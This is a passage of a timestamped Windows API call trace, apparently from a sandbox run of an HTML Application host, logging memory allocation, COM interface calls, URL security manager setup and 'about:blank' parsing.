lpFrequency=0x3ded8c*=100000000) returned 1 [0251.983] RtlAllocateHeap (HeapHandle=0x12e0000, Flags=0x0, Size=0x17c) returned 0x4732ab0 [0251.983] RtlInterlockedPopEntrySList (in: ListHead=0x12e0878 | out: ListHead=0x12e0878) returned 0x0 [0251.983] VirtualAlloc (lpAddress=0x116c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x116c000 [0251.983] RtlAllocateHeap (HeapHandle=0x12e0000, Flags=0x0, Size=0xd4) returned 0x4732c38 [0251.983] RtlInterlockedPopEntrySList (in: ListHead=0x12e0878 | out: ListHead=0x12e0878) returned 0x0 [0251.983] VirtualAlloc (lpAddress=0x116e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x116e000 [0251.984] RtlAllocateHeap (HeapHandle=0x12e0000, Flags=0x0, Size=0x158) returned 0x4732d18 [0251.984] RtlInterlockedPopEntrySList (in: ListHead=0x12e0878 | out: ListHead=0x12e0878) returned 0x0 [0251.984] VirtualAlloc (lpAddress=0x1178000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1178000 [0251.984] MulDiv (nNumber=1073741823, nNumerator=96, nDenominator=1440) returned 71582788 [0251.984] MulDiv (nNumber=1073741823, nNumerator=96, nDenominator=1440) returned 71582788 [0251.985] RtlAllocateHeap (HeapHandle=0x12e0000, Flags=0x0, Size=0xfc) returned 0x4732e78 [0251.985] RtlInterlockedPopEntrySList (in: ListHead=0x12e0878 | out: ListHead=0x12e0878) returned 0x0 [0251.985] VirtualAlloc (lpAddress=0x1180000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x1180000 [0251.985] RtlAllocateHeap (HeapHandle=0x12e0000, Flags=0x0, Size=0xbc) returned 0x4732f80 [0251.985] RtlInterlockedPopEntrySList (in: ListHead=0x12e0878 | out: ListHead=0x12e0878) returned 0x0 [0251.985] VirtualAlloc (lpAddress=0x1182000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x1182000 [0251.986] RegisterClipboardFormatW (lpszFormat="WM_HTML_GETOBJECT") returned 0xc0f6 [0251.986] CoInternetCreateSecurityManager (in: pSP=0x0, ppSM=0x7387cc88, dwReserved=0x0 | out: ppSM=0x7387cc88*=0x918060) returned 0x0 [0251.988] RtlAllocateHeap (HeapHandle=0x12e0000, Flags=0x0, Size=0xc8) returned 0x4733048 [0251.988] RtlInterlockedPopEntrySList (in: ListHead=0x12e0878 | out: ListHead=0x12e0878) returned 0x0 [0251.988] VirtualAlloc (lpAddress=0x1184000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x1184000 [0251.989] InitOnceExecuteOnce (in: InitOnce=0x73882118, InitFn=0x72d7dde0, Parameter=0x0, Context=0x0 | out: InitOnce=0x73882118, Parameter=0x0, Context=0x0) returned 1 [0251.989] GetCurrentProcess () returned 0xffffffff [0251.989] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x3ded28 | out: TokenHandle=0x3ded28*=0x2bc) returned 1 [0251.989] LdrResolveDelayLoadedAPI () returned 0x7241a560 [0252.004] SrpGetEnterpriseIds () returned 0x0 [0252.004] CloseHandle (hObject=0x2bc) returned 1 [0252.005] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x60) returned 0x9129c0 [0252.005] GetDoubleClickTime () returned 0x1f4 [0252.005] GetProfileIntA (lpAppName="windows", lpKeyName="DragScrollInset", nDefault=11) returned 0xb [0252.007] RtlAllocateHeap (HeapHandle=0x12e0000, Flags=0x0, Size=0x14c) returned 0x4733118 [0252.007] RtlInterlockedPopEntrySList (in: ListHead=0x12e0878 | out: ListHead=0x12e0878) returned 0x0 [0252.007] VirtualAlloc (lpAddress=0x1188000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1188000 [0252.007] RtlAllocateHeap (HeapHandle=0x12e0000, Flags=0x0, Size=0xa0) returned 0x4733270 [0252.007] RtlInterlockedPopEntrySList (in: ListHead=0x12e0878 | out: ListHead=0x12e0878) returned 0x0 [0252.007] VirtualAlloc (lpAddress=0x1186000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x1186000 [0252.009] memcpy_s (in: _Destination=0x1166180, _DestinationSize=0xb8, _Source=0x3de440, _SourceSize=0xb8 | out: _Destination=0x1166180) returned 0x0 [0252.010] RtlAllocateHeap (HeapHandle=0x12e0000, Flags=0x0, Size=0x154) returned 0x4733318 [0252.010] RtlInterlockedPopEntrySList (in: ListHead=0x12e0878 | out: ListHead=0x12e0878) returned 0x0 [0252.010] VirtualAlloc (lpAddress=0x1190000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1190000 [0252.010] RtlAllocateHeap (HeapHandle=0x12e0000, Flags=0x0, Size=0x94) returned 0x4733478 [0252.010] RtlInterlockedPopEntrySList (in: ListHead=0x12e0878 | out: ListHead=0x12e0878) returned 0x0 [0252.010] VirtualAlloc (lpAddress=0x1198000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x1198000 [0252.011] RtlAllocateHeap (HeapHandle=0x12e0000, Flags=0x0, Size=0x168) returned 0x4733518 [0252.011] RtlInterlockedPopEntrySList (in: ListHead=0x12e0878 | out: ListHead=0x12e0878) returned 0x0 [0252.011] VirtualAlloc (lpAddress=0x11a0000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x11a0000 [0252.012] RtlAllocateHeap (HeapHandle=0x12e0000, Flags=0x0, Size=0x90) returned 0x4733688 [0252.012] RtlInterlockedPopEntrySList (in: ListHead=0x12e0878 | out: ListHead=0x12e0878) returned 0x0 [0252.012] VirtualAlloc (lpAddress=0x119a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x119a000 [0252.013] GetCurrentThreadId () returned 0x15c [0252.013] LdrResolveDelayLoadedAPI () returned 0x7266c0d0 [0252.013] CreateUri (in: pwzURI="about:blank", dwFlags=0x3002b80, dwReserved=0x0, ppURI=0x3de8d4 | out: ppURI=0x3de8d4*=0x910f1c) returned 0x0 [0252.014] IUri:GetPropertyDWORD (in: This=0x910f1c, uriProp=0x11, pdwProperty=0x3de8a4, dwFlags=0x0 | out: pdwProperty=0x3de8a4*=0x11) returned 0x0 [0252.014] CoInternetCreateSecurityManager (in: pSP=0x0, ppSM=0x3de874, dwReserved=0x0 | out: ppSM=0x3de874*=0x918ee0) returned 0x0 [0252.014] IUnknown:QueryInterface (in: This=0x918ee0, riid=0x7286cdd0*(Data1=0xf1e50292, Data2=0xa795, Data3=0x4117, Data4=([0]=0x8e, [1]=0x9, [2]=0x2b, [3]=0x56, [4]=0xa, [5]=0x72, [6]=0xac, [7]=0x60)), ppvObject=0x3de878 | out: ppvObject=0x3de878*=0x918ee0) returned 0x0 [0252.014] IUnknown:Release (This=0x918ee0) returned 0x1 [0252.014] IInternetSecurityManager:SetSecuritySite (This=0x918ee0, pSite=0x1170e04) returned 0x0 [0252.015] IUnknown:AddRef (This=0x1170e04) returned 0x28 [0252.015] IUnknown:AddRef (This=0x918ee0) returned 0x2 [0252.080] DllGetClassObject (in: rclsid=0x8fd784*(Data1=0x3050f406, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x3ddd14*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3dd324 | out: ppv=0x3dd324*=0x7376ba90) returned 0x0 [0252.081] IUnknown:AddRef (This=0x7376ba90) returned 0x1 [0252.081] IUnknown:Release (This=0x7376ba90) returned 0x1 [0252.081] IUnknown:QueryInterface (in: This=0x7376ba90, riid=0x74109214*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ddfcc | out: ppvObject=0x3ddfcc*=0x7376ba90) returned 0x0 [0252.081] IUnknown:Release (This=0x7376ba90) returned 0x1 [0252.081] IUnknown:QueryInterface (in: This=0x7376ba90, riid=0x7410a158*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x3de21c | out: ppvObject=0x3de21c*=0x7376ba9c) returned 0x0 [0252.081] IUnknown:Release (This=0x7376ba90) returned 0x1 [0252.081] IInternetProtocolInfo:ParseUrl (in: This=0x7376ba9c, pwzUrl="about:blank", ParseAction=3, dwParseFlags=0x0, pwzResult=0x9104e0, cchResult=0xc, pcchResult=0x3de214, dwReserved=0x0 | out: pwzResult="about:blank", pcchResult=0x3de214*=0xc) returned 0x0 [0252.081] StrCmpICW (pszStr1="about:blank", pszStr2="about:blank") returned 0 [0252.081] StrCmpICW (pszStr1="about:blank", pszStr2="about:blank") returned 0 [0252.081] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x1c) returned 0x9112b0 [0252.081] HeapFree (in: hHeap=0x8f0000, dwFlags=0x0, lpMem=0x9112b0 | out: hHeap=0x8f0000) returned 1 [0252.081] IUnknown:Release (This=0x7376ba9c) returned 0x1 [0252.082] DllGetClassObject (in: rclsid=0x8fd784*(Data1=0x3050f406, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x74109214*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3ddd28 | out: ppv=0x3ddd28*=0x7376ba90) returned 0x0 [0252.082] IUnknown:QueryInterface (in: This=0x7376ba90, riid=0x7410a158*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x3de220 | out: ppvObject=0x3de220*=0x7376ba9c) returned 0x0 [0252.082] IUnknown:Release (This=0x7376ba90) returned 0x1 [0252.082] IInternetProtocolInfo:ParseUrl (in: This=0x7376ba9c, pwzUrl="about:blank", ParseAction=17, dwParseFlags=0x0, pwzResult=0x910740, cchResult=0xc, pcchResult=0x3de21c, dwReserved=0x0 | out: pwzResult="", pcchResult=0x3de21c*=0x0) returned 0x800c0011 [0252.082] IUnknown:Release (This=0x7376ba9c) returned 0x1 [0252.082] IUnknown:Release (This=0x918ee0) returned 0x1 [0252.082] IUnknown:Release (This=0x910f1c) returned 0x3 [0252.082] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x10) returned 0x917668 [0252.082] memcpy_s (in: _Destination=0x917668, _DestinationSize=0x10, _Source=0x3de938, _SourceSize=0x10 | out: _Destination=0x917668) returned 0x0 [0252.083] CoInternetCreateSecurityManager (in: pSP=0x0, ppSM=0x3de90c, dwReserved=0x0 | out: ppSM=0x3de90c*=0x918ae0) returned 0x0 [0252.083] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x10) returned 0x917428 [0252.083] memcpy_s (in: _Destination=0x917428, _DestinationSize=0x10, _Source=0x3de938, _SourceSize=0x10 | out: _Destination=0x917428) returned 0x0 [0252.083] IUnknown:AddRef (This=0x918ee0) returned 0x2 [0252.083] IUnknown:Release (This=0x918ee0) returned 0x1 [0252.084] RtlAllocateHeap (HeapHandle=0x12e0000, Flags=0x0, Size=0x98) returned 0x4733720 [0252.084] RtlInterlockedPopEntrySList (in: ListHead=0x12e0878 | out: ListHead=0x12e0878) returned 0x0 [0252.084] VirtualAlloc (lpAddress=0x119c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x119c000 [0252.084] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x8, Size=0x2000) returned 0x91fd30 [0252.085] memcpy_s (in: _Destination=0x91fd30, _DestinationSize=0x2000, _Source=0x3dead8, _SourceSize=0x4 | out: _Destination=0x91fd30) returned 0x0 [0252.085] IUnknown:AddRef (This=0x918ee0) returned 0x2 [0252.085] CreateUri (in: pwzURI="about:blank", dwFlags=0x3002b80, dwReserved=0x0, ppURI=0x3de8e8 | out: ppURI=0x3de8e8*=0x910f1c) returned 0x0 [0252.085] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1 [0252.085] DllGetClassObject (in: rclsid=0x8fd784*(Data1=0x3050f406, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x74109214*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3de138 | out: ppv=0x3de138*=0x7376ba90) returned 0x0 [0252.086] IUnknown:QueryInterface (in: This=0x7376ba90, riid=0x7410a158*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x3de1a4 | out: ppvObject=0x3de1a4*=0x7376ba9c) returned 0x0 [0252.086] IUnknown:Release (This=0x7376ba90) returned 0x1 [0252.086] IInternetProtocolInfo:ParseUrl (in: This=0x7376ba9c, pwzUrl="about:blank", ParseAction=3, dwParseFlags=0x0, pwzResult=0x910700, cchResult=0xc, pcchResult=0x3de19c, dwReserved=0x0 | out: pwzResult="about:blank", pcchResult=0x3de19c*=0xc) returned 0x0 [0252.086] StrCmpICW (pszStr1="about:blank", pszStr2="about:blank") returned 0 [0252.086] StrCmpICW (pszStr1="about:blank", pszStr2="about:blank") returned 0 [0252.086] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x1c) returned 0x9112b0 [0252.086] HeapFree (in: hHeap=0x8f0000, dwFlags=0x0, lpMem=0x9112b0 | out: hHeap=0x8f0000) returned 1 [0252.086] IUnknown:Release (This=0x7376ba9c) returned 0x1 [0252.086] DllGetClassObject (in: rclsid=0x8fd784*(Data1=0x3050f406, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x74109214*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3ddcb0 | out: ppv=0x3ddcb0*=0x7376ba90) returned 0x0 [0252.086] IUnknown:QueryInterface (in: This=0x7376ba90, riid=0x7410a158*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x3de1a8 | out: ppvObject=0x3de1a8*=0x7376ba9c) returned 0x0 [0252.086] IUnknown:Release (This=0x7376ba90) returned 0x1 [0252.086] IInternetProtocolInfo:ParseUrl (in: This=0x7376ba9c, pwzUrl="about:blank", ParseAction=17, dwParseFlags=0x0, pwzResult=0x910400, cchResult=0xc, pcchResult=0x3de1a4, dwReserved=0x0 | out: pwzResult="", pcchResult=0x3de1a4*=0x0) returned 0x800c0011 [0252.086] IUnknown:Release (This=0x7376ba9c) returned 0x1 [0252.087] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0252.087] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1 [0252.087] IInternetSecurityManagerEx2:ProcessUrlActionEx2 (in: This=0x918ee0, pUri=0x910f1c, dwAction=0x2106, pPolicy=0x3de8dc, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x41, dwReserved=0x0, pdwOutFlags=0x3de8bc | out: pPolicy=0x3de8dc*=0x0, pdwOutFlags=0x3de8bc*=0x0) returned 0x0 [0252.087] IUnknown:Release (This=0x918ee0) returned 0x1 [0252.087] IUnknown:Release (This=0x910f1c) returned 0x4 [0252.088] GetDoubleClickTime () returned 0x1f4 [0252.088] GetSystemMetrics (nIndex=36) returned 4 [0252.088] GetSystemMetrics (nIndex=37) returned 4 [0252.089] RtlInitializeConditionVariable (in: ConditionVariable=0x114e0b8 | out: ConditionVariable=0x114e0b8) [0252.089] CoTaskMemAlloc (cb=0x1c) returned 0x9113f0 [0252.089] QISearch (in: that=0x114e120, pqit=0x726ede0c, riid=0x72880828*(Data1=0xaf11d3db, Data2=0x81a6, Data3=0x4b88, Data4=([0]=0xae, [1]=0x7, [2]=0x96, [3]=0xec, [4]=0xcf, [5]=0x46, [6]=0xd0, [7]=0x76)), ppv=0x11710d0 | out: that=0x114e120, ppv=0x11710d0*=0x114e120) returned 0x0 [0252.089] CoTaskMemAlloc (cb=0x1c) returned 0x911418 [0252.089] QISearch (in: that=0x114e150, pqit=0x726ede0c, riid=0x72880828*(Data1=0xaf11d3db, Data2=0x81a6, Data3=0x4b88, Data4=([0]=0xae, [1]=0x7, [2]=0x96, [3]=0xec, [4]=0xcf, [5]=0x46, [6]=0xd0, [7]=0x76)), ppv=0x11710d4 | out: that=0x114e150, ppv=0x11710d4*=0x114e150) returned 0x0 [0252.089] IUnknown:AddRef (This=0x114e150) returned 0x2 [0252.089] RtlAllocateHeap (HeapHandle=0x12e0000, Flags=0x0, Size=0x94) returned 0x47337c0 [0252.089] RtlInterlockedPopEntrySList (in: ListHead=0x12e0878 | out: ListHead=0x12e0878) returned 0x0 [0252.089] VirtualAlloc (lpAddress=0x119e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x119e000 [0252.090] RtlAllocateHeap (HeapHandle=0x12e0000, Flags=0x0, Size=0x94) returned 0x4733860 [0252.090] RtlInterlockedPopEntrySList (in: ListHead=0x12e0878 | out: ListHead=0x12e0878) returned 0x0 [0252.090] VirtualAlloc (lpAddress=0x11a8000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x11a8000 [0252.090] GetTickCount () returned 0x3e57f [0252.090] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x3ded70, lpTimeIncrement=0x3ded78, lpTimeAdjustmentDisabled=0x3ded74 | out: lpTimeAdjustment=0x3ded70, lpTimeIncrement=0x3ded78, lpTimeAdjustmentDisabled=0x3ded74) returned 1 [0252.090] RtlAllocateHeap (HeapHandle=0x12e0000, Flags=0x0, Size=0x90) returned 0x4733900 [0252.090] RtlInterlockedPopEntrySList (in: ListHead=0x12e0878 | out: ListHead=0x12e0878) returned 0x0 [0252.090] VirtualAlloc (lpAddress=0x11aa000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x11aa000 [0252.091] QueryPerformanceCounter (in: lpPerformanceCount=0x3ded28 | out: lpPerformanceCount=0x3ded28*=25539341518) returned 1 [0252.091] QueryPerformanceFrequency (in: lpFrequency=0x73881fd8 | out: lpFrequency=0x73881fd8*=100000000) returned 1 [0252.091] RtlAllocateHeap (HeapHandle=0x12e0000, Flags=0x0, Size=0xa0) returned 0x4733998 [0252.091] RtlInterlockedPopEntrySList (in: ListHead=0x12e0878 | out: ListHead=0x12e0878) returned 0x0 [0252.091] VirtualAlloc (lpAddress=0x11ac000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x11ac000 [0252.092] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x46) returned 0x90fb50 [0252.092] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x42) returned 0x90f970 [0252.092] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x56) returned 0x91fae0 [0252.092] RtlAllocateHeap (HeapHandle=0x12e0000, Flags=0x0, Size=0x8c) returned 0x4733a40 [0252.093] RtlInterlockedPopEntrySList (in: ListHead=0x12e0878 | out: ListHead=0x12e0878) returned 0x0 [0252.093] VirtualAlloc (lpAddress=0x11ae000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x11ae000 [0252.093] IUnknown:AddRef (This=0x1170000) returned 0x0 [0252.093] IUnknown:Release (This=0x1170000) returned 0x1 [0252.093] IUnknown:Release (This=0x7376b52c) returned 0x1 [0252.093] IUnknown:QueryInterface (in: This=0x1170000, riid=0x72880548*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3dfd6c | out: ppvObject=0x3dfd6c*=0x1170000) returned 0x0 [0252.093] IUnknown:Release (This=0x1170000) returned 0x1 [0252.094] LdrResolveDelayLoadedAPI () returned 0x75be9db0 [0252.094] LdrResolveDelayLoadedAPI () returned 0x764321f0 [0252.094] IUnknown_QueryService (in: punk=0x7387f4bc, guidService=0x7286d374*(Data1=0xd81f90a3, Data2=0x8156, Data3=0x44f7, Data4=([0]=0xad, [1]=0x28, [2]=0x5a, [3]=0xbb, [4]=0x87, [5]=0x0, [6]=0x32, [7]=0x74)), riid=0x7287d07c*(Data1=0xd81f90a3, Data2=0x8156, Data3=0x44f7, Data4=([0]=0xad, [1]=0x28, [2]=0x5a, [3]=0xbb, [4]=0x87, [5]=0x0, [6]=0x32, [7]=0x74)), ppvOut=0x1170060 | out: ppvOut=0x1170060*=0x0) returned 0x80004005 [0252.094] IUnknown:QueryInterface (in: This=0x7387f4bc, riid=0x763fb61c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x3dfce0 | out: ppvObject=0x3dfce0*=0x7387f4d0) returned 0x0 [0252.095] IServiceProvider:QueryService (in: This=0x7387f4d0, guidService=0x7286d374*(Data1=0xd81f90a3, Data2=0x8156, Data3=0x44f7, Data4=([0]=0xad, [1]=0x28, [2]=0x5a, [3]=0xbb, [4]=0x87, [5]=0x0, [6]=0x32, [7]=0x74)), riid=0x7287d07c*(Data1=0xd81f90a3, Data2=0x8156, Data3=0x44f7, Data4=([0]=0xad, [1]=0x28, [2]=0x5a, [3]=0xbb, [4]=0x87, [5]=0x0, [6]=0x32, [7]=0x74)), ppvObject=0x1170060 | out: ppvObject=0x1170060*=0x0) returned 0x80004005 [0252.095] IUnknown:Release (This=0x7387f4d0) returned 0x1 [0252.095] IUnknown_QueryService (in: punk=0x7387f4bc, guidService=0x7286d468*(Data1=0x25336920, Data2=0x3f9, Data3=0x11cf, Data4=([0]=0x8f, [1]=0xd0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x68, [6]=0x6f, [7]=0x13)), riid=0x7286d468*(Data1=0x25336920, Data2=0x3f9, Data3=0x11cf, Data4=([0]=0x8f, [1]=0xd0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x68, [6]=0x6f, [7]=0x13)), ppvOut=0x3dfce4 | out: ppvOut=0x3dfce4*=0x0) returned 0x80004005 [0252.095] IUnknown:QueryInterface (in: This=0x7387f4bc, riid=0x763fb61c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x3dfca8 | out: ppvObject=0x3dfca8*=0x7387f4d0) returned 0x0 [0252.095] IServiceProvider:QueryService (in: This=0x7387f4d0, guidService=0x7286d468*(Data1=0x25336920, Data2=0x3f9, Data3=0x11cf, Data4=([0]=0x8f, [1]=0xd0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x68, [6]=0x6f, [7]=0x13)), riid=0x7286d468*(Data1=0x25336920, Data2=0x3f9, Data3=0x11cf, Data4=([0]=0x8f, [1]=0xd0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x68, [6]=0x6f, [7]=0x13)), ppvObject=0x3dfce4 | out: ppvObject=0x3dfce4*=0x0) returned 0x80004005 [0252.095] IUnknown:Release (This=0x7387f4d0) returned 0x1 [0252.095] IInternetSecurityManager:SetSecuritySite (This=0x918ee0, pSite=0x1170e04) returned 0x0 [0252.095] IUnknown:Release (This=0x1170e04) returned 0x0 [0252.095] IUnknown:AddRef (This=0x1170e04) returned 0x30 [0252.095] IUnknown:QueryInterface (in: This=0x1170e04, riid=0x7410a62c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x3dfd0c | out: ppvObject=0x3dfd0c*=0x1170e08) returned 0x0 [0252.095] IServiceProvider:QueryService (in: This=0x1170e08, guidService=0x7410a500*(Data1=0x49d33aad, Data2=0xf985, Data3=0x4b70, Data4=([0]=0x97, [1]=0xa0, [2]=0x28, [3]=0xec, [4]=0xeb, [5]=0x65, [6]=0x23, [7]=0xbf)), riid=0x7410a500*(Data1=0x49d33aad, Data2=0xf985, Data3=0x4b70, Data4=([0]=0x97, [1]=0xa0, [2]=0x28, [3]=0xec, [4]=0xeb, [5]=0x65, [6]=0x23, [7]=0xbf)), ppvObject=0x918f14 | out: ppvObject=0x918f14*=0x0) returned 0x80004002 [0252.095] IServiceProvider:QueryService (in: This=0x1170e08, guidService=0x7410a59c*(Data1=0xf1e50292, Data2=0xa795, Data3=0x4117, Data4=([0]=0x8e, [1]=0x9, [2]=0x2b, [3]=0x56, [4]=0xa, [5]=0x72, [6]=0xac, [7]=0x60)), riid=0x7410a59c*(Data1=0xf1e50292, Data2=0xa795, Data3=0x4117, Data4=([0]=0x8e, [1]=0x9, [2]=0x2b, [3]=0x56, [4]=0xa, [5]=0x72, [6]=0xac, [7]=0x60)), ppvObject=0x918f10 | out: ppvObject=0x918f10*=0x0) returned 0x80004002 [0252.096] IServiceProvider:QueryService (in: This=0x1170e08, guidService=0x7410a5ac*(Data1=0xf164edf1, Data2=0xcc7c, Data3=0x4f0d, Data4=([0]=0x9a, [1]=0x94, [2]=0x34, [3]=0x22, [4]=0x26, [5]=0x25, [6]=0xc3, [7]=0x93)), riid=0x7410a5ac*(Data1=0xf164edf1, Data2=0xcc7c, Data3=0x4f0d, Data4=([0]=0x9a, [1]=0x94, [2]=0x34, [3]=0x22, [4]=0x26, [5]=0x25, [6]=0xc3, [7]=0x93)), ppvObject=0x918f0c | out: ppvObject=0x918f0c*=0x0) returned 0x80004002 [0252.096] IServiceProvider:QueryService (in: This=0x1170e08, guidService=0x7410a58c*(Data1=0x79eac9ee, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), riid=0x7410a58c*(Data1=0x79eac9ee, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x918f08 | out: ppvObject=0x918f08*=0x7387f4d4) returned 0x0 [0252.096] IUnknown:Release (This=0x1170e08) returned 0x0 [0252.096] CoTaskMemAlloc (cb=0x6d) returned 0x91e290 [0252.096] CoTaskMemAlloc (cb=0x9) returned 0x9175f0 [0252.096] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0xc) returned 0x917608 [0252.096] StrChrW (lpStart="HTA", wMatch=0x3b) returned 0x0 [0252.097] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0xc) returned 0x917620 [0252.097] memcpy_s (in: _Destination=0x116c230, _DestinationSize=0x8, _Source=0x91760c, _SourceSize=0x6 | out: _Destination=0x116c230) returned 0x0 [0252.097] RtlAllocateHeap (HeapHandle=0x12e0000, Flags=0x0, Size=0x90) returned 0x4733ad8 [0252.097] RtlInterlockedPopEntrySList (in: ListHead=0x12e0878 | out: ListHead=0x12e0878) returned 0x0 [0252.097] VirtualAlloc (lpAddress=0x11b0000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x11b0000 [0252.098] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x20) returned 0x9112b0 [0252.098] RtlAllocateHeap (HeapHandle=0x12e0000, Flags=0x0, Size=0x98) returned 0x4733b70 [0252.098] RtlInterlockedPopEntrySList (in: ListHead=0x12e0878 | out: ListHead=0x12e0878) returned 0x0 [0252.098] VirtualAlloc (lpAddress=0x11b2000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x11b2000 [0252.099] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x100) returned 0x921d38 [0252.099] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x800) returned 0x922180 [0252.099] IsCharSpaceW (wch=0x48) returned 0 [0252.099] IsCharAlphaNumericW (ch=0x5c) returned 0 [0252.099] IsCharSpaceW (wch=0x5c) returned 0 [0252.099] IsCharSpaceW (wch=0x41) returned 0 [0252.099] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0xc) 